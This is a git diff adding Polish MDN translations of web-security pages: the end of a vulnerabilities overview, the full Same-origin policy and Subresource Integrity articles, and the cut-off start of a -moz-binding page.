+<p>Ostatecznie organizacje muszą wiedzieć, jak trudno jest wykorzystać daną podatność i co się stanie w sytuacji, jeśli dojdzie do jej wykorzystania.</p> + +<h2 id="Podatności_stron_WWW">Podatności stron WWW</h2> + +<p>OWASP lub Projekt Bezpieczeństwa Otwartej Sieci (Open Web Security Project) to organizacja non-profit skoncentrowana na zwiększaniu bezpieczeństwa oprogramowania i aplikacji WWW. Wg Open Web Application Security Project pod względem popularności XSS był <a class="external external-icon" href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" rel="noopener">siódmą z najczęściej spotykanych podatności aplikacji WWW</a> w roku 2017.</p> + +<p>Organizacja publikuje listę najważniejszych podatności aplikacji WWW bazując na danych z różnych organizacji bezpieczeństwa.</p> + +<p><a href="/en-US/docs/Web/Security">Podatnosci aplikacji WWW</a> są priorytetowane pod względem możliwości wykorzystania, wykrywalności i wpływu na oprogramowanie, którym może być każdy CMS, jak WordPress, Joomla, Magneto, Woocommerce i inne.</p> + +<p>Poniżej przedstawiamy sześć najpopularniejszych podatności stron WWW, przed którymi musisz się chronić.</p> + +<p>1. SQL Injections<br> + 2. <a href="/en-US/docs/Glossary/Cross-site_scripting">Cross Site Scripting (XSS)</a><br> + 3. Broken Authentication & Session Management -<a href="https://developer.mozilla.org/en-US/docs/Archive/IdentityManager"> IdentityManager</a><br> + 4. Insecure Direct Object References -<a href="https://developer.mozilla.org/en-US/docs/Glossary/DOM"> DOM (Document Object Model)</a><br> + 5. Security Misconfiguration<br> + 6. <a href="/en-US/docs/Glossary/CSRF">Cross-Site Request Forgery (CSRF) </a></p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a class="external" href="https://www.owasp.org/">Projekt Bezpieczeństwa Otwartej Sieci (OWASP)</a></li> + <li><a href="https://cve.mitre.org/">Popularne Podatności i Narażenia (CVE)</a></li> + <li><a href="https://secure.wphackedhelp.com/blog/wordpress-vulnerabilities-how-to-fix-guide-tools/">Popularne Podatności Bezpieczeństwa WordPressa</a></li> + <li><a href="https://en.wikipedia.org/wiki/Vulnerability_database">Baza danych podatności</a></li> +</ul> + +<div class="originaldocinfo"> +<h3 id="Original_Document_Information" name="Original_Document_Information">Informacja o dokumentacji źródłowej</h3> + +<ul> + <li>Autorzy: Elizabeth LeMay, Karen Scarfone i Peter Mell</li> + <li>Tytuł: National Institute of Standards and Technology (NIST) Interagency Report 7864, The Common Misuse Scoring System (CMSS): Metrics for Software Feature Misuse Vulnerabilities</li> + <li>Data ostatniej modyfikacji: July 2012</li> + <li>Informacja o prawach autorskich: Niniejszy dokument nie podlega prawom autorskim.</li> +</ul> +</div> + +<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p> diff --git a/files/pl/web/bezpieczeństwo/same-origin_policy/index.html b/files/pl/web/bezpieczeństwo/same-origin_policy/index.html new file mode 100644 index 0000000000..23f296444e --- /dev/null +++ b/files/pl/web/bezpieczeństwo/same-origin_policy/index.html @@ -0,0 +1,277 @@ +--- +title: Reguła tego samego pochodzenia (Same-origin policy) +slug: Web/Bezpieczeństwo/Same-origin_policy +tags: + - Bezpieczeństwo + - CORS + - Host + - JavaScript + - Same-origin policy + - URL + - origin + - pochodzenie + - reguła tego samego pochodzenia + - źródło +translation_of: Web/Security/Same-origin_policy +--- +<p><span class="seoSummary"><strong>Same-origin policy</strong> (reguła tego samego pochodzenia) to istotny mechanizm bezpieczeństwa, który określa sposób, w jaki dokument lub skrypt jednego pochodzenia ({{Glossary("origin")}}) może komunikować się z zasobem innego pochodzenia.</span> Pozwala to na odizolowanie potencjalnie szkodliwych dokumentów i tym samym redukowane są czynniki sprzyjające atakom.</p> + +<h2 id="Definicja_origin">Definicja "origin"</h2> + +<p>Dwa URLe są <em>tego samego pochodzenia</em>, jeśli {{Glossary("protocol")}}, {{Glossary("port")}} (jeśli wyszczególniony) oraz {{Glossary("host")}} są takie same dla obu. Tego typu charakterystykę nazywa się "krotką schematu/hosta/portu" ("scheme/host/port tuple") lub po prostu "krotką" ("Krotka" to kolekcja elementów tworzących zbiór - generyczna forma, która może być podwójna/potrójna/poczwórna itd.).</p> + +<p>Poniższa tabela zawiera przykłady zestawień "originów" z URLem <code>http://store.company.com/dir/page.html</code>:</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>URL</th> + <th>Wynik</th> + <th>Powód</th> + </tr> + <tr> + <td><code>http://store.company.com/dir2/other.html</code></td> + <td>Same origin</td> + <td>Różni się tylko ścieżka</td> + </tr> + <tr> + <td><code>http://store.company.com/dir/inner/another.html</code></td> + <td>Same origin</td> + <td>Różni się tylko ścieżka</td> + </tr> + <tr> + <td><code>https://store.company.com/page.html</code></td> + <td>Niepowodzenie</td> + <td>Inny protokół</td> + </tr> + <tr> + <td><code>http://store.company.com:81/dir/page.html</code></td> + <td>Niepowodzenie</td> + <td>Inny port (<code>http://</code> domyślnie jest portem 80)</td> + </tr> + <tr> + <td><code>http://news.company.com/dir/page.html</code></td> + <td>Niepowodzenie</td> + <td>Inny host</td> + </tr> + </tbody> +</table> + +<p>Zobacz również <a href="/en-US/docs/Archive/Misc_top_level/Same-origin_policy_for_file:_URIs">definicję "origin" dla URLów <code>file:</code></a>, ich zestawienie jest bardziej złożone.</p> + +<h3 id="Odziedziczone_origin">Odziedziczone "origin"</h3> + +<p>Skrypty wywoływane przez strony z URLami <code>about:blank</code> lub <code>javascript:</code> dziedziczą "origin" dokumentu zawierającego ten URL, ponieważ tego typu URLe nie zawierają informacji o serwerze źródłowym.</p> + +<div class="note"> +<p>Przykładowo, <code>about:blank</code> jest często używany jako URL nowego, pustego, wyskakującego okienka, w którym skrypt-rodzic umieszcza treść (np. przez mechanizm {{domxref("Window.open()")}}). Jeśli dane okienko zawiera również JavaScript, skrypt odziedziczy ten sam "origin" jak skrypt, który je utworzył.</p> +</div> + +<div class="warning"> +<p><code>data:</code> URLe zyskują nowy, pusty kontekst bezpieczeństwa.</p> +</div> + +<h3 id="Wyjątki_w_Internet_Explorer">Wyjątki w Internet Explorer</h3> + +<p>W Internecie Explorerze istnieją dwa wyjątki od reguły same-origin:</p> + +<dl> + <dt>Strefy Zaufania</dt> + <dd>Jeśli obie domeny znajdują się w <em>strefie wysokiego zaufania</em> (np. firmowe domeny intranetu), wówczas ograniczenia same-origin nie są stosowane.</dd> + <dt>Port</dt> + <dd>IE nie bierze pod uwagę portów w trakcie sprawdzania obecności tego samego pochodzenia. Przykładowo, <code>https://company.com:81/index.html</code> i <code>https://company.com/index.html</code> są uznawane za posiadające ten sam "origin", więc nie są implementowane żadne ograniczenia .</dd> +</dl> + +<p>Wspomniane wyjątki są niestandardowe i nie są wspierane przez inne przeglądarki.</p> + +<h2 id="Zmiana_origin">Zmiana origin</h2> + +<p>Strona może zmieniać swoje pochodzenie przy zachowaniu pewnych ograniczeń. Skrypt może nadać wartość {{domxref("document.domain")}} równą swojej obecnej domenie lub superdomenie swojej obecnej domeny. Jeśli odwołuje się do superdomeny obecnej domeny, wówczas krótsza superdomena jest brana pod uwagę przy kontroli same-origin.</p> + +<p>Załóżmy, że skrypt z dokumentu pod adresem <code>http://store.company.com/dir/other.html</code> wywołuje poniższą linijkę:</p> + +<pre class="brush: js">document.domain = "company.com"; +</pre> + +<p>Następnie strona może przejść pomyślnie kontrolę same-origin mając adres <code>http://company.com/dir/page.html</code> (przyjmując, że <code>http://company.com/dir/page.html</code> ma <code>document.domain</code> równe "<code>company.com</code>" by wskazać, że chce na to zezwalać - sprawdź: {{domxref("document.domain")}}). Jednakże, <code>company.com</code> <strong>nie może </strong>ustawić <code>document.domain</code> na <code>othercompany.com</code>, ponieważ nie jest to superdomena <code>company.com</code>.</p> + +<p>Numer portu jest sprawdzany oddzielnie przez przeglądarkę. Każde odwołanie do <code>document.domain</code>, w tym <code>document.domain = document.domain</code>, spowoduje przypisanie numerowi portu wartości <code>null</code>. Jednakże, <strong>nie uda się</strong> nawiązać komunikacji <code>company.com:8080</code> z <code>company.com</code> tylko poprzez umieszczenie <code>document.domain = "company.com"</code> w pierwszym z nich. Taki zapis musi znajdować się w obu dokumentach, aby ich porty były równocześnie równe <code>null</code>.</p> + +<div class="note"> +<p><strong>Zauważ:</strong> Używając <code>document.domain</code> , żeby pozwolić subdomenie na bezpieczny dostęp do rodzica potrzebujesz ustawić <code>document.domain</code> na tę <em>samą wartość</em> jednocześnie w domenie rodzica i w subdomenie. Jest to wymagane nawet podczas zwykłego przywracania domeny rodzica do pierwotnej wartości. Niepowodzenie może skutkować błędami dostępu.</p> +</div> + +<h2 id="Dostęp_sieciowy_cross-origin_międzyźródłowy">Dostęp sieciowy cross-origin (międzyźródłowy)</h2> + +<p>Reguła tego samego pochodzenia kontroluje interakcje pomiędzy dwoma różnymi "originami", np. kiedy używasz elementu {{domxref("XMLHttpRequest")}} czy {{htmlelement("img")}}. Tego typu interakcje przeważnie dzielą się na trzy kategorie:</p> + +<ul> + <li><em>zapisy </em>cross-origin przeważnie są dopuszczane. Przykłady to: linki, przekierowania i wypełnienia formularzy. Niektóre zapytania HTTP wymagają <a href="/en-US/docs/Web/HTTP/CORS#Preflighted_requests">preflight</a>u.</li> + <li><em>osadzanie </em>cross-origin jest przeważnie dopuszczane. (przykłady zostały wylistowane poniżej)</li> + <li><em>odczyty </em>cross-origin przeważnie nie są dopuszczane, ale dostęp do odczytu jest zwykle możliwy przez osadzanie. Przykładowo, możliwy jest odczyt wymiarów osadzonego obrazka, działanie osadzonego skryptu czy <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=629094">dostępność osadzonego źródła</a>.</li> +</ul> + +<p>Poniżej znajdują się przykłady zasobów, które można osadzać międzyźródłowo:</p> + +<ul> + <li>JavaScript z <code><script src="…"></script></code>. Szczegóły dot. błędu dla błędów składniowych są dostępne wyłącznie dla skryptów same-origin.</li> + <li>CSS podpinany poprzez <code><link rel="stylesheet" href="…"></code>. Zgodnie z <a class="external" href="http://scarybeastsecurity.blogspot.dk/2009/12/generic-cross-browser-cross-domain.html">luźniejszymi zasadami składni</a> CSS, cross-originowy CSS wymaga poprawnego nagłówka <code>Content-Type</code>. Ograniczenia różnią się w zależności od przeglądarki: <a class="external" href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/gg622939(v=vs.85)?redirectedfrom=MSDN">IE</a>, <a class="external" href="http://www.mozilla.org/security/announce/2010/mfsa2010-46.html">Firefox</a>, <a class="external" href="https://bugs.chromium.org/p/chromium/issues/detail?id=9877">Chrome</a>, <a class="external" href="http://support.apple.com/kb/HT4070">Safari</a> (przewiń do CVE-2010-0051) i <a class="external" href="https://security.opera.com/cross-domain-data-theft-with-css-load-opera-security-advisories/">Opera</a>.</li> + <li>Obrazki wyświetlane poprzez {{htmlelement("img")}}.</li> + <li>Media odtwarzane poprzez {{htmlelement("video")}} i {{htmlelement("audio")}}.</li> + <li>Wtyczki osadzane za pomocą {{htmlelement("object")}}, {{htmlelement("embed")}} oraz {{htmlelement("applet")}}.</li> + <li>Czcionki używane poprzez {{cssxref("@font-face")}}. Niektóre przeglądarki zezwalają na czcionki cross-origin, inne wymagają same-origin.</li> + <li>Cokolwiek osadzane poprzez {{htmlelement("frame")}} i {{htmlelement("iframe")}}. Strony mogą używać nagłówka {{HTTPHeader("X-Frame-Options")}}, by zapobiegać framingowi cross-origin.</li> +</ul> + +<h3 id="Jak_umożliwić_dostęp_cross-origin">Jak umożliwić dostęp cross-origin</h3> + +<p>Poprzez <a href="/en-US/docs/Web/HTTP/CORS">CORS</a> można zezwolić na dostęp cross-origin. CORS jest częścią {{Glossary("HTTP")}}, co pozwala serwerom na określanie, które hosty są upoważnione do ładowania treści z tego serweru.</p> + +<h3 id="Jak_zablokować_dostęp_cross-origin">Jak zablokować dostęp cross-origin</h3> + +<ul> + <li>By uniemożliwić zapisy cross-origin należy sprawdzić token w żądaniu — chodzi konkretniej o token <a class="external" href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29">Cross-Site Request Forgery (CSRF)</a>. Odczyty typu cross-origin muszą być zablokowane na stronach używających tego typu tokenu.</li> + <li>By uniemożliwić odczyty cross-origin należy upewnić się, że dane zasoby nie są osadzalne. Często koniecznym jest uniemożliwienie osadzania, ponieważ osadzanie źródła zawsze ujawnia jakieś informacje o nim.</li> + <li>By uniemożliwić osadzanie cross-origin należy upewnić się, że dane zasoby nie mogą być interpretowane jako jeden z osadzanych formatów wylistowanych poniżej. Przeglądarki mogą ignorować nagłówki <code>Content-Type</code>. Przykładowo, jeśli w dokumencie HTML umieszczony zostanie tag <code><script></code>, przeglądarka będzie próbować parsować HTML jako JavaScript. Jeśli zasób nie jest głównym podprogramem strony do zapobiegania osadzaniu można dodatkowo użyć tokenu CSRF.</li> +</ul> + +<h2 id="Dostęp_cross-origin_API_skryptu">Dostęp cross-origin API skryptu</h2> + +<p>API JavaScriptu, jak {{domxref("HTMLIFrameElement.contentWindow", "iframe.contentWindow")}}, {{domxref("window.parent")}}, {{domxref("window.open")}} i {{domxref("window.opener")}} pozwalają dokumentom na bezpośrednią, wzajemną referencję. Jeśli dwa dokumenty nie są tego samego pochodzenia, referencje te umożliwiają bardzo ograniczony dostęp do obiektów {{domxref("Window")}} i {{domxref("Location")}}, jako opisano w następnych dwóch sekcjach.</p> + +<p>Do komunikacji pomiędzy dokumentami o różnym pochodzeniu stosuje się {{domxref("window.postMessage")}}.</p> + +<p>Specyfikacja: <a class="external" href="https://html.spec.whatwg.org/multipage/browsers.html#cross-origin-objects">Standard HTML § Obiekty cross-origin</a>.</p> + +<h3 id="Window">Window</h3> + +<p>Poniższy dostęp cross-origin jest dopuszczany w przypadku wymienionych właściwości <code>Window</code>:</p> + +<table class="fullwidth-table standard-table"> + <thead> + <tr> + <th scope="col">Metody</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{domxref("window.blur")}}</td> + </tr> + <tr> + <td>{{domxref("window.close")}}</td> + </tr> + <tr> + <td>{{domxref("window.focus")}}</td> + </tr> + <tr> + <td>{{domxref("window.postMessage")}}</td> + </tr> + </tbody> +</table> + +<table class="fullwidth-table standard-table"> + <thead> + <tr> + <th scope="col">Własności</th> + <th scope="col"></th> + </tr> + </thead> + <tbody> + <tr> + <td>{{domxref("window.closed")}}</td> + <td>Tylko do odczytu.</td> + </tr> + <tr> + <td>{{domxref("window.frames")}}</td> + <td>Tylko do odczytu.</td> + </tr> + <tr> + <td>{{domxref("window.length")}}</td> + <td>Tylko do odczytu.</td> + </tr> + <tr> + <td>{{domxref("window.location")}}</td> + <td>Odczyt/Zapis.</td> + </tr> + <tr> + <td>{{domxref("window.opener")}}</td> + <td>Tylko do odczytu.</td> + </tr> + <tr> + <td>{{domxref("window.parent")}}</td> + <td>Tylko do odczytu.</td> + </tr> + <tr> + <td>{{domxref("window.self")}}</td> + <td>Tylko do odczytu.</td> + </tr> + <tr> + <td>{{domxref("window.top")}}</td> + <td>Tylko do odczytu.</td> + </tr> + <tr> + <td>{{domxref("window.window")}}</td> + <td>Tylko do odczytu.</td> + </tr> + </tbody> +</table> + +<p>Niektóre przeglądarki zezwalają na dostęp większej ilości właściwości, niż wypisane powyżej.</p> + +<h3 id="Location">Location</h3> + +<p>Poniższy dostęp cross-origin jest dopuszczany w przypadku właściwości <code>Location</code>:</p> + +<table class="fullwidth-table standard-table"> + <thead> + <tr> + <th scope="col">Metody</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{domxref("location.replace")}}</td> + </tr> + </tbody> +</table> + +<table class="fullwidth-table standard-table"> + <thead> + <tr> + <th scope="col">Atrybuty</th> + <th scope="col"></th> + </tr> + </thead> + <tbody> + <tr> + <td>{{domxref("URLUtils.href")}}</td> + <td>Tylko do zapisu.</td> + </tr> + </tbody> +</table> + +<p>Niektóre przeglądarki umożliwiają dostęp do większej liczby właściwości, niż wymienione powyżej.</p> + +<h2 id="Dostęp_cross-origin_do_danych_pamięci">Dostęp cross-origin do danych pamięci</h2> + +<p>Dostęp do danych przechowywanych w przeglądarce, jak <a href="/en-US/docs/Web/API/Web_Storage_API">localStorage</a> czy <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> są odseparowane pochodzeniem. Każdy origin otrzymuje własną, odseparowaną pamięć i JavaScript jednego pochodzenia nie może odczytywać lub wpisywać niczego do pamięci należącej do innego originu.</p> + +<p>Ciasteczka (cookies) używają oddzielnej definicji originów. Strona może ustalić ciasteczko dla własnej domeny lub domeny-rodzica dopóki, gdy domena-rodzic nie jest sufiksem publicznym. Firefox i Chrome używają listy sufiksów publicznych (<a class="external" href="https://publicsuffix.org/">Public Suffix List</a>), by zweryfikować czy domena jest sufiksem publicznym. Internet Explorer używa własnej, wewnątrznej metody weryfikacji czy domena jest sufiksem publicznym. Przeglądarka udostępni ciasteczko podanej domenie zawierającej jakiekolwiek subdomeny, niezależnie jaki protokół (HTTP/HTTPS) czy port jest używany. Przy ustalaniu ciasteczka możliwe jest określenie limitu dostępności używając flag domeny (Domain), ścieżki (Path), bezpiecznej (Secure) i Http-Only. Gdy odczytywane jest ciasteczko nie można zobaczyć, gdzie zostało ustalone. Nawet jeśli używane są wyłącznie bezpieczne połączenia https dane ciasteczko mogło zostać ustalone poprzez połączenie niebezpieczne.</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Archive/Misc_top_level/Same-origin_policy_for_file:_URIs">Reguła same-origin dla file: URIy</a></li> + <li><a href="http://www.w3.org/Security/wiki/Same_Origin_Policy">Reguła Same-Origin na W3C</a></li> + <li><a href="https://web.dev/secure/same-origin-policy">https://web.dev/secure/same-origin-policy</a></li> +</ul> + +<div class="originaldocinfo"> +<h2 id="Original_Document_Information" name="Original_Document_Information">Informacje dot. dokumentu źródłowego</h2> + +<ul> + <li>Author(s): Jesse Ruderman</li> +</ul> +</div> + +<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p> diff --git a/files/pl/web/bezpieczeństwo/subresource_integrity/index.html b/files/pl/web/bezpieczeństwo/subresource_integrity/index.html new file mode 100644 index 0000000000..69f20709ec --- /dev/null +++ b/files/pl/web/bezpieczeństwo/subresource_integrity/index.html @@ -0,0 +1,163 @@ +--- +title: Integralność podzasobów (Subresource Integrity) +slug: Web/Bezpieczeństwo/Subresource_Integrity +tags: + - Bezpieczeństwo + - HTML + - HTTP + - Wstęp + - bezpieczeństwo aplikacji WWW +translation_of: Web/Security/Subresource_Integrity +--- +<p><span class="seoSummary"><strong>Subresource Integrity</strong> (SRI), w wolnym tłumaczeniu "integralność podzasobów", to funkcja bezpieczeństwa umożliwiająca przeglądarkom weryfikowanie, czy zasoby, które przechwytują (np. z<a href="/en-US/docs/Glossary/CDN"> CDN</a>) docierają do nich bez nieporządanych zmian. Działanie takie jest możliwe dzięki używaniu hasha kryptograficznego, z którym przechwycony zasób musi być zgodny.</span></p> + +<div class="note"> +<p><strong>Notka</strong>: W celu weryfikacji integralności podzasobów danych przekazywanych ze źródła innego, niż dokument w którym są osadzane przeglądarki dodatkowo sprawdzają źródło poprzez międzyźródłowe udostępnianie zasobów, tzw. <a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a>. Dzięki temu upewniają się, że pochodzenie (origin) oferujące dane zasoby pozwala na udostępnianie ich z innym, sprecyfizowanym originem.</p> +</div> + +<h2 id="Korzyści_wynikające_z_Subresource_Integrity">Korzyści wynikające z "Subresource Integrity"</h2> + +<p>Używając {{Glossary("CDN", "Content Delivery Networks (CDNs)")}} do hostowania plików, jak np. skrypty czy arkusze stylów, które są udostępnianie pośród licznych stron WWW można polepszyć wydajność strony i zachować przepustowość łącza. Jednakże, używając CDNów ryzykujemy, że jeśli atakujący przejmie kontrolę nad CDNem to może wprowadzić szkodliwą zawartość do plików na CDNie (lub zupełnie je zastąpić) i przez to potencjalnie może zaatakować wszystkie strony, które przechwytują pliki z tego CDNu.</p> + +<p>"Subresource Integrity" pozwala na ograniczenie ryzyka ataków tego typu poprzez zapewnienie, że pliki które dana aplikacja, bądź dokument WWW przechwytują (m. in. z CDNu) zostały dostarczone bez udziału trzeciej strony, która "wzbogaciła" nasze dane o dodatkową treść oraz bez żadnych, jakichkolwiek innych zmian w przesyłanych plikach.</p> + +<h2 id="Używanie_Subresource_Integrity">Używanie "Subresource Integrity"</h2> + +<p>Korzystanie z funkcji "Subresource Integrity" jest możliwe przez określenie hasha zakodowanego kryptograficznie w base64 zasobu (pliku), który przeglądarka ma przechwycić, z wartością atrybutu <code>integrity</code> danego elementu {{HTMLElement("script")}} or {{HTMLElement("link")}}.</p> + +<p>Wartość <code>integrity</code> zaczyna się od co najmniej jednego stringu, przy czym każdy string zawiera prefiks wskazujący na konkretny algorytm hashowy (obecnie dozwolonymi prefiksami są <code>sha256</code>, <code>sha384</code>, i <code>sha512</code>), następnie opatrzony myślnikiem i zakończony aktualnym hashem zakodowanym w base64.</p> + +<div class="note"> +<p><strong>Notka</strong>: Wartość <strong>integrity </strong>może zawierać liczne hashe oddzielone białymi znakami. Zasób zostanie załadowany, jeśli dopasuje się z jednym z tych hashów.</p> +</div> + +<p>Przykładowy string <code>integrity</code> z hashem sha384 zakodowanym w base64:</p> + +<pre>sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC +</pre> + +<p>Więc <code>oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC</code> to część "hashowa", a prefiks <code>sha384</code> wskazuje, że jest to hash sha384.</p> + +<div class="note"> +<p><strong>Notka</strong>: Część "hashowa" wartości <code>integrity</code> jest, mówić ściśle, <em><strong>skrótem kryptograficznym</strong></em> formowanym przez zastosowanie określonych funkcji hashowych do danego outputu (np. skryptu lub arkuszu stylów). Zwykle używa się skrótu "hash" do określania <em>skrótu kryptograficznego</em>, więc w taki sposób to określenie jest używane w niniejszym artykule.</p> +</div> + +<h3 id="Narzędzia_do_generowania_hashów_SRI">Narzędzia do generowania hashów SRI</h3> + +<p>Możesz generować hashe SRI z konsoli z <strong>openssl </strong>używając wywołania polecenia, jak:</p> + +<pre class="brush: bash">cat <strong>FILENAME.js</strong> | openssl dgst -sha384 -binary | openssl base64 -A</pre> + +<p>lub z <strong>shasum</strong> używając wywołania polecenia, jak:</p> + +<pre class="brush: bash">shasum -b -a 384 <strong>FILENAME.js</strong> | awk '{ print $1 }' | xxd -r -p | base64 +</pre> + +<div class="note"> +<p><strong>Notka</strong>:</p> + +<ul> + <li>Krok z <code>xxd</code> pobiera dane wyjściowe w postaci heksadecymalnej z <code>shasum</code> i zamienia je na zapis binarny.</li> + <li>Krok z <code>awk</code> jest niezbędny, ponieważ <code>shasum</code> w danych wyjściowych przekazuje zahashowaną nazwę pliku do <code>xxd</code>. Trzeba liczyć się z katastrofalnymi konsekwencjami, jeśli nazwa pliku zawiera znaki występujące w zapisie heksadecymalnym - <code>xxd</code> odkoduje ten zapis i przekaże go do <code>base64</code>.</li> +</ul> +</div> + +<p>Warto wiedzieć, że dostępny na <a href="https://www.srihash.org/">https://www.srihash.org/</a> <strong>SRI Hash Generator</strong> to narzędzie online umożliwiające generowanie hashy SRI.</p> + +<h3 id="Zasady_bezpieczeństwa_zawartości_i_Integralności_podzasobówContent_Security_Policy_Subresource_Integrity">Zasady bezpieczeństwa zawartości i Integralności podzasobów(Content Security Policy & Subresource Integrity)</h3> + +<p>Możesz skorzystać z Zasad bezpieczeństwa zawartości (<a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy</a>), by skonfigurować swój serwer, żeby wymuszał by określone typy plików wymagały stosowania Subresource Integrity. Aby to zrobić użyj dyrektywy {{CSP("require-sri-for")}} w swoim nagłówku CSP, np.:</p> + +<pre>Content-Security-Policy: require-sri-for script;</pre> + +<p>Dzięki temu zapisowi każda próba załadowania JavaScript powiedzie się jedynie, jeśli informacja o Subresource Integrity znajduje się na miejscu, a testy integralności zakończą się sukcesem.</p> + +<p>Możesz również określić, że SRI powinno być stosowane podczas ładowania arkuszy stylów:</p> + +<pre>Content-Security-Policy: require-sri-for style;</pre> + +<p>Możesz również określić zarówno <code>script</code>, jak i <code>style</code> aby wymagać SRI przy obu typach plików.</p> + +<h3 id="Udostępnianie_zasobów_między_źródłami_i_Integralności_podzasobów_Cross-Origin_Resource_Sharing_Subresource_Integrity">Udostępnianie zasobów między źródłami i Integralności podzasobów (Cross-Origin Resource Sharing & Subresource Integrity)</h3> + +<p>Celem weryfikacji integralności podzasobów danych pochodzących z originu innego, niż dokument, w którym są osadzone, przeglądarki dodatkowo sprawdzają dane za pomocą CORS (<a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a>). Upewniają się, że origin dostarczający dane pozwala na udostępnianie wnioskującemu originowi. Wtedy dane muszą zostać dostarczone z nagłówkiem <code><a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin">Access-Control-Allow-Origin</a></code>, co pozwala na udostępnienie danych wnioskującemu originowi, np.:</p> + +<pre>Access-Control-Allow-Origin: *</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<p>W poniższych przykładach przyjmimy, że <code id="sriSnippet">oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC</code> to oczekiwany hash SHA-384 (skrót) określonego skryptu <code>example-framework.js</code> i że istnieje kopia skryptu hostowana na <code>https://example.com/example-framework.js</code>.</p> + +<h3 id="Subresource_Integrity_with_the_<script>_element">Subresource Integrity with the <script> element</h3> + +<p>Możesz użyć niniejszego elementu {{HTMLElement("script")}}, by nakazać przeglądarce, aby przed wywołaniem skryptu <code>https://example.com/example-framework.js</code> najpierw porównała skrypt z oczekiwanym hashem i zweryfikowała, że są dopasowane.</p> + +<pre class="brush: html"><script src="https://example.com/example-framework.js" + integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" + crossorigin="anonymous"></script></pre> + +<div class="note"> +<p><strong>Notka</strong>: By dowiedzieć się więcej nt. zastosowania atrybutu <code>crossorigin</code> sprawdź <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">atrybuty ustawień CORS</a>.</p> +</div> + +<h2 id="Jak_przeglądarki_radzą_sobie_z_Subresource_Integrity">Jak przeglądarki radzą sobie z "Subresource Integrity"</h2> + +<p>Przeglądarki radzą sobie z SRI poprzez podjęcie poniższych działań:</p> + +<ol> + <li> + <p>Kiedy przeglądarka napotka element {{HTMLElement("script")}} lub {{HTMLElement("link")}} z atrybutem <code>integrity</code>, przed wywołaniem skryptu lub przed zastosowaniem jakiegokolwiek arkusza stylów określonego przez element {{HTMLElement("link")}}, przeglądarka musi najpierw porównać skrypt lub arkusz stylów do oczekiwanego hasha podanego w wartości <code>integrity</code>.</p> + + <p class="note"><strong>Notka</strong>: Celem weryfikacji integralności podzasobów danych dostarczanych z originu innego, niż dokument, w którym zostały osadzone, przeglądarki dodatkowo sprawdzają dane poprzez stosowanie <a href="/en-US/docs/Web/HTTP/CORS">CORS</a>, aby upewnić się, że origin dostarczający dane pozwala na udostępnianie ich z wnioskującym originem.</p> + </li> + <li>Jeśli skrypt lub arkusz stylów nie pasuje do odpowiadającej mu wartości <code>integrity</code>, przeglądarka musi odmówić wywołania skryptu lub uwzględnienia arkusza stylów i zamiast tego musi zwrócić błąd sieciowy wskazujący, że nie powiodło się przechwycenie tego skryptu lub arkusza stylów.</li> +</ol> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Subresource Integrity')}}</td> + <td>{{Spec2('Subresource Integrity')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('Fetch')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<h3 id="<script_integrity>"><script integrity></h3> + +<p class="hidden">Tabela kompatybilności na tej stronie jest generowana na podstawie danych strukturalnych. Jeśli chcesz ją współtworzyć, sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam pull requesta.</p> + +<p>{{Compat("html.elements.script.integrity")}}</p> + +<h3 id="CSP_require-sri-for">CSP: require-sri-for</h3> + +<p class="hidden">Tabela kompatybilności na tej stronie jest generowana na podstawie danych strukturalnych. Jeśli chcesz ją współtworzyć, sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam pull requesta.</p> + +<p>{{Compat("http.headers.csp.require-sri-for")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>Zasady bezpieczeństwa zawartości (Content Security Policy)</li> + <li>{{httpheader("Content-Security-Policy")}}</li> + <li><a href="https://frederik-braun.com/using-subresource-integrity.html" id="page-title">CDN, który Cię nie zXXSuje: Używanie Subresource Integrity</a></li> + <li><a href="https://w3c-test.org/subresource-integrity/subresource-integrity.html" id="w3c-test">Test na Subresource Integrity z W3C</a></li> +</ul> + +<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p> diff --git a/files/pl/web/css/-moz-binding/index.html b/files/pl/web/css/-moz-binding/index.html new file mode 100644 index 0000000000..e44145368c --- /dev/null +++ b/files/pl/web/css/-moz-binding/index.html @@ -0,0 +1,48 @@ +--- +title: '-moz-binding' +slug: Web/CSS/-moz-binding +tags: + - 